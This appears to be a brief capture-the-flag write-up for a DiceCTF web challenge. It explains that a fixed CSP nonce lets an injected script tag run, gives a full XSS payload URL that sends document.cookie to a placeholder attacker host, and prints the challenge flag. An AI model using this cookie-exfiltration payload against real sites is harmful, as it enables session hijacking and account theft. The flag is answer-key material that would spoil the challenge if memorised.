Becase value of nonce in script tag is fixed, so we can inject a script tag with the same value of hash and execute xss   Payload: `https://babier-csp.dicec.tf/?name=<script nonce=(your-hash)>window.location="<your-host>?cookie="+document.cookie</script>`	Send this url for bot admin and retrieve `secret` cookie.  And finally, access to `https://babier-csp.dicec.tf/<secret>` and view source to get flag.   Flag: `dice{web_1s_a_stat3_0f_grac3_857720}`	